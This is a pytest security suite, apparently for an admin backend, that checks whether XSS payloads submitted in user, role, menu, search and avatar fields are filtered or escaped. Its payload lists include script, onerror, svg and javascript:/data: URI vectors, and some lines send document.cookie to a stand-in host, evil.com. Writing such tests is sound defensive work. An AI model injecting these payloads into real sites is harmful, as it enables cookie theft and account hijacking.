Files

380 lines
13 KiB
Python

"""
XSS防护测试套件
测试范围:
1. 反射型XSS测试
2. 存储型XSS测试
3. DOM型XSS测试
4. HTML注入测试
5. JavaScript注入测试
作者: 张翔
日期: 2026-04-01
"""
import pytest
from api.auth_api import AuthAPI
from api.user_api import UserAPI
from api.role_api import RoleAPI
from api.menu_api import MenuAPI
from config.settings import settings
@pytest.mark.security
@pytest.mark.asyncio
class TestXSSProtection:
"""XSS防护测试类"""
async def test_user_input_xss(self, authenticated_client):
"""
SEC-XSS-01: 用户输入XSS测试
验证点:
1. 用户名字段XSS防护
2. 昵称字段XSS防护
3. 备注字段XSS防护
"""
user_api = UserAPI(authenticated_client)
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<body onload=alert('XSS')>",
"<iframe src='javascript:alert(1)'>",
"<div onmouseover='alert(1)'>test</div>",
"<a href='javascript:alert(1)'>click</a>",
"'\"><script>alert('XSS')</script>",
"<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
]
for payload in xss_payloads:
user_data = {
"username": f"xss_test_{payload[:10]}",
"password": "Test123!@#",
"nickname": payload,
"email": f"xss_{payload[:10]}@test.com",
"phone": "13800138000",
"status": 1
}
response = await user_api.create_user(user_data)
if response.status_code in [201, 200]:
user_id = response.json().get("id")
if user_id:
user_info = await user_api.get_user_by_id(user_id)
if user_info.status_code == 200:
user = user_info.json()
assert "<script>" not in str(user), \
f"XSS payload未过滤: {payload}"
assert "onerror=" not in str(user), \
f"XSS payload未过滤: {payload}"
assert "onload=" not in str(user), \
f"XSS payload未过滤: {payload}"
await user_api.delete_user(user_id)
else:
assert response.status_code in [400, 422], \
f"XSS payload应被拒绝或清洗: {payload}"
async def test_role_name_xss(self, authenticated_client):
"""
SEC-XSS-02: 角色名称XSS测试
验证点:
1. 角色名称XSS防护
2. 角色备注XSS防护
"""
role_api = RoleAPI(authenticated_client)
xss_payloads = [
"<script>alert('role')</script>",
"<img src=x onerror=alert('role')>",
"管理员<script>document.cookie</script>"
]
for payload in xss_payloads:
role_data = {
"roleName": payload,
"roleKey": f"test_role_xss",
"roleSort": 1,
"status": 1,
"remark": f"测试角色: {payload}"
}
response = await role_api.create_role(role_data)
if response.status_code in [201, 200]:
role_id = response.json().get("id")
if role_id:
role_info = await role_api.get_role_by_id(role_id)
if role_info.status_code == 200:
role = role_info.json()
assert "<script>" not in str(role), \
f"角色XSS payload未过滤: {payload}"
await role_api.delete_role(role_id)
async def test_menu_name_xss(self, authenticated_client):
"""
SEC-XSS-03: 菜单名称XSS测试
验证点:
1. 菜单名称XSS防护
2. 菜单路径XSS防护
"""
menu_api = MenuAPI(authenticated_client)
xss_payloads = [
"系统管理<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert(1)"
]
for payload in xss_payloads:
menu_data = {
"menuName": payload,
"menuPath": f"/test-{payload[:10]}",
"menuType": 1,
"parentId": 0,
"menuSort": 1,
"status": 1
}
response = await menu_api.create_menu(menu_data)
if response.status_code in [201, 200]:
menu_id = response.json().get("id")
if menu_id:
menu_info = await menu_api.get_menu_by_id(menu_id)
if menu_info.status_code == 200:
menu = menu_info.json()
assert "<script>" not in str(menu), \
f"菜单XSS payload未过滤: {payload}"
await menu_api.delete_menu(menu_id)
async def test_search_query_xss(self, authenticated_client):
"""
SEC-XSS-04: 搜索查询XSS测试
验证点:
1. 搜索关键词XSS防护
2. 返回数据转义
"""
user_api = UserAPI(authenticated_client)
xss_payloads = [
"<script>alert('search')</script>",
"<img src=x onerror=alert('search')>",
"test<script>document.location='http://evil.com'</script>"
]
for payload in xss_payloads:
response = await user_api.get_users_by_page(
page=0,
size=10,
username=payload
)
assert response.status_code in [200, 400]
if response.status_code == 200:
data = response.json()
assert "<script>" not in str(data), \
f"搜索结果包含未转义的XSS payload: {payload}"
async def test_html_injection(self, authenticated_client):
"""
SEC-XSS-05: HTML注入测试
验证点:
1. HTML标签被转义或移除
2. 事件处理器被移除
"""
user_api = UserAPI(authenticated_client)
html_payloads = [
"<h1>Test</h1>",
"<div style='color:red'>test</div>",
"<a href='http://evil.com'>click</a>",
"<img src='http://evil.com/steal?cookie=xxx'>",
"<table><tr><td>test</td></tr></table>"
]
for payload in html_payloads:
user_data = {
"username": f"html_test_{payload[:10]}",
"password": "Test123!@#",
"nickname": payload,
"email": f"html_{payload[:10]}@test.com",
"phone": "13800138000",
"status": 1
}
response = await user_api.create_user(user_data)
if response.status_code in [201, 200]:
user_id = response.json().get("id")
if user_id:
user_info = await user_api.get_user_by_id(user_id)
if user_info.status_code == 200:
user = user_info.json()
nickname = user.get("nickname", "")
assert "<h1>" not in nickname or "&lt;h1&gt;" in nickname, \
f"HTML未正确转义: {payload}"
await user_api.delete_user(user_id)
async def test_javascript_protocol_xss(self, authenticated_client):
"""
SEC-XSS-06: JavaScript协议XSS测试
验证点:
1. javascript:协议被过滤
2. data:协议被过滤
"""
user_api = UserAPI(authenticated_client)
js_protocol_payloads = [
"javascript:alert(1)",
"javascript:void(0)",
"data:text/html,<script>alert(1)</script>",
"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
]
for payload in js_protocol_payloads:
user_data = {
"username": f"js_test_{payload[:10]}",
"password": "Test123!@#",
"nickname": "测试用户",
"email": f"js_{payload[:10]}@test.com",
"phone": "13800138000",
"avatar": payload,
"status": 1
}
response = await user_api.create_user(user_data)
if response.status_code in [201, 200]:
user_id = response.json().get("id")
if user_id:
user_info = await user_api.get_user_by_id(user_id)
if user_info.status_code == 200:
user = user_info.json()
avatar = user.get("avatar", "")
assert not avatar.startswith("javascript:"), \
f"JavaScript协议未过滤: {payload}"
assert not avatar.startswith("data:text/html"), \
f"Data协议未过滤: {payload}"
await user_api.delete_user(user_id)
async def test_event_handler_xss(self, authenticated_client):
"""
SEC-XSS-07: 事件处理器XSS测试
验证点:
1. on*事件处理器被过滤
2. 内联事件被移除
"""
user_api = UserAPI(authenticated_client)
event_payloads = [
"test onmouseover=alert(1)",
"test onclick=alert(1)",
"test onfocus=alert(1)",
"test onblur=alert(1)",
"test onload=alert(1)"
]
for payload in event_payloads:
user_data = {
"username": f"event_test_{payload[:10]}",
"password": "Test123!@#",
"nickname": payload,
"email": f"event_{payload[:10]}@test.com",
"phone": "13800138000",
"status": 1
}
response = await user_api.create_user(user_data)
if response.status_code in [201, 200]:
user_id = response.json().get("id")
if user_id:
user_info = await user_api.get_user_by_id(user_id)
if user_info.status_code == 200:
user = user_info.json()
assert "onmouseover=" not in str(user), \
f"事件处理器未过滤: {payload}"
assert "onclick=" not in str(user), \
f"事件处理器未过滤: {payload}"
await user_api.delete_user(user_id)
async def test_svg_xss(self, authenticated_client):
"""
SEC-XSS-08: SVG XSS测试
验证点:
1. SVG标签事件被过滤
2. SVG脚本被移除
"""
user_api = UserAPI(authenticated_client)
svg_payloads = [
"<svg onload=alert(1)>",
"<svg><script>alert(1)</script></svg>",
"<svg><animate onbegin=alert(1)></svg>",
"<svg><set onbegin=alert(1)></svg>"
]
for payload in svg_payloads:
user_data = {
"username": f"svg_test_{payload[:10]}",
"password": "Test123!@#",
"nickname": payload,
"email": f"svg_{payload[:10]}@test.com",
"phone": "13800138000",
"status": 1
}
response = await user_api.create_user(user_data)
if response.status_code in [201, 200]:
user_id = response.json().get("id")
if user_id:
user_info = await user_api.get_user_by_id(user_id)
if user_info.status_code == 200:
user = user_info.json()
assert "<svg" not in str(user).lower() or \
"&lt;svg" in str(user).lower(), \
f"SVG XSS未过滤: {payload}"
await user_api.delete_user(user_id)